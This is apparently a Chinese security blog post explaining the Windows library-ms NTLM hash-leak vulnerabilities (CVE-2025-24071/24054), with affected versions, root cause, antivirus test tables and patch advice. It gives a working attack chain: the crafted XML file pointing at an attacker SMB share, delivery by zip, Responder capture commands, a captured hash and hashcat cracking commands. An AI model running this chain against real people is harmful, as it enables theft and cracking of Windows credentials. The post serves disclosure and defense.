没有绝对安全的系统
- 近期又发现Windows7、8、10、11、Server平台的通用漏洞:攻击者发给你一个文本文件,甚至都不用打开,就可能中招。下班后写写技术博客,分享给各位。
-
该漏洞攻击隐蔽性非常高,攻击期间用户毫无感知,并且属于
EXP方式的攻击,对杀毒软件就是降维打击,经过实测7款主流杀毒软件全军覆没,没有一款检测出攻击行为或做拦截
。
漏洞影响力
- 该漏洞可导致敏感信息:如登录密码密文,通过网络泄露给未经授权的攻击者,攻击者可利用
HashCat
等工具进行破解。
- 此漏洞允许欺骗攻击:攻击者可以通过社工手段可诱骗用户访问特制网站诱导下载文件来利用此漏洞。
- 一顿操作干出来两个CVE:还是挺危险的。
受影响Windows版本与改漏洞补丁版本
- 注意:下方说的是Windows维护期的版本,Windows10停止维护日期为2025年10月14日(当前为2025年5月)。
- 经过亲测:Window Vista以后全军覆没,哈哈哈哈。
Windows7、Windows8 所有版本。
Windows 10:
Windows 10 Version 21H2 10.0.19044.0 <10.0.19044.5608
Windows 10 Version 1607 10.0.14393.0 <10.0.14393.7876
Windows 10 Version 22H2 10.0.19045.0 <10.0.19045.5608
Windows 10 Version 21H2 10.0.19043.0 <10.0.19044.5608
Windows 10 Version 1809 10.0.17763.0 <10.0.17763.7009
Windows 10 Version 1507 10.0.10240.0 <10.0.10240.20947
Windows 11:
Windows 11 version 22H3 10.0.22631.0 <10.0.22631.5039
Windows 11 Version 24H2 10.0.26100.0 <10.0.26100.3476
Windows 11 version 22H2 10.0.22621.0 <10.0.22621.5039
Windows 11 Version 23H2 10.0.22631.0 <10.0.22631.5039
Windows Server:
Windows Server 2022, 23H2 Edition (Server Core installation) 10.0.25398.0 <10.0.25398.1486
Windows Server 2019 (Server Core installation) 10.0.17763.0 <10.0.17763.7009
Windows Server 2019 10.0.17763.0 <10.0.17763.7009
Windows Server 2025 (Server Core installation) 10.0.26100.0 <10.0.26100.3476
Windows Server 2025 10.0.26100.0 <10.0.26100.3476
Windows Server 2012 R2 (Server Core installation) 6.3.9600.0 <6.3.9600.22470
Windows Server 2016 10.0.14393.0 <10.0.14393.7876
Windows Server 2022 10.0.20348.0 <10.0.20348.3328
Windows Server 2012 R2 6.3.9600.0 <6.3.9600.22470
Windows Server 2016 (Server Core installation) 10.0.14393.0 <10.0.14393.7876
漏洞成因分析
- 背景1:在Windows7及以后的系统中,微软引入了一个可以整合资源管理器内显示多个目录下内容的内部Windows功能,(不是Win10 资源管理器主页的7个文件夹),例如图片库,打开后既可以包含C:/Users/Public/Prictures,也可以包含C:/Users/用户名/Prictures目录的文件,这个功能依赖于library-ms的文件来完成。
- 背景2:library-ms本质是一段XML的文本配置,谁都可以修改,要想集合进多个文件夹,需要将多个文件夹中的路径配置在XML中。并且为了能够支持访问共享资源的功能,里面的url项可以支持SMB协议。
- 背景3:SMB的认证,在Windows中依托NTML协议(NTLM广泛用于Windows网络认证,但SMB认证不强依赖于NTLM)完成,这个认证过程是没有任何提示的。但是从业务角度讲,这一步很正常,好比使用用户名和密码登录一些网站一样,都会把密码传输给目标服务器去认证,很常见的操作。
- 问题关键点就出在这里:
- 为漏洞利用创造条件:本来.library-ms是给Windows系统内部使用的,自然就没考虑整合多个路径时,对路径参数的验证。
- 为悄无声息的入侵创造条件:SMB在进行认证时,系统通过NTLM协议进行静默认证,这就造成了被攻击时用户无感知。
- 认证时的信息泄露:NTLM认证过程会泄露当前用户密码的密文信息发送给目标服务器(这也是NTLM认证的一个缺陷)。以上几点聚合后被利用,漏洞就出现了。
- 简单补充:通过堆栈跟踪,发现是explorer调用了Windows内部的windows.storage.dll这个动态链接库造成的,它是关键点。它用于支持通用Windows平台应用和某些现代桌面应用中的文件系统访问与数据存储功能。包含了存储相关的一些API,由于Windows是闭源的商业操作系统,并没有找到相关文档用于详细的分析。
模拟复现攻击流程
- 攻击者:准备系统:Windows7,Kali Linux。
- 攻击者:新建一个test.library-ms的文件,文件名不重要,但是后缀扩展名是固定的,准备好如下xml内容(IP更换为Kali的IP):
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>\\192.168.12.115\shared</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
- 攻击者:制作好这个文件后,将文件压缩到无密码的zip文件中,然后发给被攻击者。
- 被攻击者:当使用原生资源管理器解压压缩包(或将此文件解压后放入回收站,打开回收站页面),或者双击文件(任选其一)。
- 攻击者:Kali终端执行
responder -I eth0 -wvF
,监听NTMLv2
协议的数据,得到密文密码,将其放入/test/a.txt中,得到密文如下:
Administrator::VM:8300538069a5b13b:72DC38085FD28A43C8CDC377FBF3985C:010100000000000080BBE760E6C1DB014DF8CD6CA274DA580000000002000800300033004B00590001001E00570049004E002D0059003300450043004F0035004200500045005100420004003400570049004E002D0059003300450043004F003500420050004500510042002E00300033004B0059002E004C004F00430041004C0003001400300033004B0059002E004C004F00430041004C0005001400300033004B0059002E004C004F00430041004C000700080080BBE760E6C1DB0106000400020000000800300030000000000000000000000000300000030D2E04310F595E716CB861C1BFAC40C1053D54769945FB81B9B6F658DC406A0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00310032002E00310031003500000000000000000000000000
将其重定向到 /test/a.txt中
- 攻击者:执行如下指令,准备
hashcat
工具对其进行破解。
cd /test
根据文章的是NTLMV2,那就看看hashcat是否支持破解NTLMV2协议的数据,发现有支持
──(root㉿root)-[/test]
└─# hashcat -h |grep -i ntlm
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
1000 | NTLM | Operating System
解压hashcat字典,如果已解压则忽略
gzip -d /usr/share/wordlists/rockyou.txt.gz
以下通过字典的方式破解
hashcat -m 5600 a.txt /usr/share/wordlists/rockyou.txt
也可以暴力破解:
hashcat -m 5600 a.txt -a 3 '?d?d?d?d?d?d'
等上0.05到10分钟。
如果发现阻塞的命令行已经停止,则说明可能破解成功,再次重复执行上一个命令,末尾添加 --show可查看破解成功的密码,会在末尾显示,例如
┌──(root㉿root)-[/test]
└─# hashcat -m 5600 a.txt /usr/share/wordlists/rockyou.txt --show
ADMINISTRATOR::VM:8300538069a5b13b:72dc38085fd28a43c8cdc377fbf3985c:0101此处省略大量密文0000:123123
- 至此,完成攻击流程(不要抬杠说拿个装系统U盘插电脑插目标设备上,这不是一回事)。
模拟攻击时测试7款主流杀毒软件识别与防御效果
- 通过虚拟机快照策略方便急速回滚,保证各杀毒软件运行环境基本隔离,安装杀毒软件后未进行重启,经过实测结果如下(意料之中,EXP是降维打击):(某民杀毒软件下载太慢直接放弃)
平台 |
入侵时是否被检出攻击行为或被拦截 |
某60安全卫士(最新版) |
未检测出;未拦截 |
某讯电脑管家(最新版) |
未检测出;未拦截 |
某绒安全(最新版) |
未检测出;未拦截 |
某山毒霸(最新版) |
未检测出;未拦截 |
某星防病毒安全软件(最新版) |
未检测出;未拦截 |
某345安全卫士(最新增强版) |
未检测出;未拦截 |
某 Defender(Win10系统) |
未检测出;未拦截 |
24款杀毒引擎查杀效果
- 利用云沙箱,看看test.library-ms文件是否可被检测出异常,可以看出国外一些厂商查杀引擎的确实比国内的做得好。
安全厂商 |
检出结果 |
大蜘蛛(Dr.Web) |
Exploit.CVE-2025-24071.1 |
GDATA |
Dump:Generic.CVE-2025-24054.A.FFFFFFFE |
微软(MSE) |
无检出 |
ESET |
无检出 |
卡巴斯基(Kaspersky) |
无检出 |
小红伞(Avira) |
无检出 |
IKARUS |
无检出 |
Avast |
无检出 |
AVG |
无检出 |
K7 |
无检出 |
安天(Antiy) |
无检出 |
江民(JiangMin) |
无检出 |
360(Qihoo 360) |
无检出 |
NANO |
无检出 |
Trustlook |
无检出 |
瑞星(Rising) |
无检出 |
熊猫(Panda) |
无检出 |
Sophos |
无检出 |
MicroAPT |
无检出 |
OneAV |
无检出 |
OneStatic |
无检出 |
MicroNonPE |
无检出 |
OneAV-PWSH |
无检出 |
ShellPub |
无检出 |
漏洞避免或解决方案
- 对于不想打补丁或服务器用户:使用更复杂的Windows登录密码,并勤换密码,即使中招也能增加增加破解难度。需要保持高度安全的场景,对于外来的文件,持零信任态度。
- 及时更新漏洞补丁:虽然Windows Update挺讨厌,但是安全性和便捷性无法兼得,权衡的矛盾永远存在。
Smb是什么
NTLM与NTLMV2是什么
- NTLM:NT LAN Manager是微软开发的一种身份验证协议,用于在Windows网络中验证用户身份。
- NTLMV2:在NTLMv1的基础上,改进了安全性。
- 补充:原始版本NTLMv1存在多个安全漏洞,容易受到传递哈希值攻击和彩虹表攻击等攻击。在 NTLMv1中,客户端通过发送用户密码的可预测哈希值(NT 哈希值)来响应服务器的质询。攻击者可以尝试离线破解密码,或者如果成功截获该哈希值则重新使用此哈希值。为了降低这些风险,Microsoft 推出了NTLMv2,通过在身份验证过程中添加随机服务器质询和客户端质询,显著提高了安全性。NTLMv2 不直接发送 NT 哈希值,而是生成一个称为NTLMv2 响应(也称为NTLMv2-SSP 哈希或Net-NTLMv2)的唯一响应。这使得预先计算的攻击(如彩虹表和传递哈希值)在很大程度上无效。https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/。
为什么做一些常见的操作,Windows就会发送SMB数据
我并没有找到官方的答案,但是我可以猜测:
- 程序角度讲:这种东西就像API钩子,或者称之为事件监听所触发的行为,是为了解决一类业务问题。
- 业务角度讲:SMB本来就是用于文件共享,解决的是将网络资源与本地资源统一呈现,为了达到较快的同步效果和极低的打扰率,因此文件资源管理器对文件的一举一动,都需要及时并且静默同步到指定的SMB节点。
responder
- 极简概括:是网络渗透中的一个工具,responder是一个专为内部网络环境设计的网络监听与欺骗工具,常用于渗透测试和红队行动中,我称之为又是一把锋利网络瑞士军刀。
- 官网:https://www.kali.org/tools/responder/
- 官方文档:https://www.kali.org/tools/responder/#tool-documentation
- 参数说明:
-
-I eth0
:监听eth0网卡流量数据,具体要看网卡名称,你的叫ens33,那就传ens33,一般参数值是ifconfig
中的默认网卡。
-
-w
:欺骗请求 WPAD 配置的客户端,使其连接恶意代理,从而截取或注入流量(在实际的测试中,确实获取到了额外主机的一些数据,但我直接clear了)。
-
-v
:Verbose,输出详细模式。
-
-F
:强制对 NBT-NS(NetBIOS Name Service) 和 LLMNR(Link-Local Multicast Name Resolution) 请求进行回应,即使请求中包含域名后缀。用于增加被欺骗的几率,提高抓取凭据的成功率。
HashCat
- 极简概括:是一个开源的且功能强大的密码破解工具,广泛用于密码恢复和网络安全行业。通过暴力破解、字典攻击的方式通过密文来破解出明文密码。
- 官网:https://hashcat.net/hashcat/
- 官方文档:https://hashcat.net/wiki/
- 项目地址:添加链接描述
- 参数说明:
-
-m 5600
:-m是模式,5600是NetNTLMv2的代号。
-
a.txt
:我放置Windows密码密文的自定义文件名。
-
/usr/share/wordlists/rockyou.txt
:内置字典文件所在绝对路径。
-
-a 3
是设置的破解方式的参数,3表示使用掩码方式破解,掩码的格式就是 '?d?d?d?d?d?d',表示密码的格式为5个数字,常见的规则如下:
- ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?h = 0123456789abcdef
- ?H = 0123456789ABCDEF
- ?s = «space»!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 - 0xff
- 规则来源于官方文档说明:https://hashcat.net/wiki/doku.php?id=mask_attack
相关链接(鸣谢)
- CVE-2025-24071(偏library-ms欺骗漏洞):
- CVE-2025-24054(偏NTLM漏洞):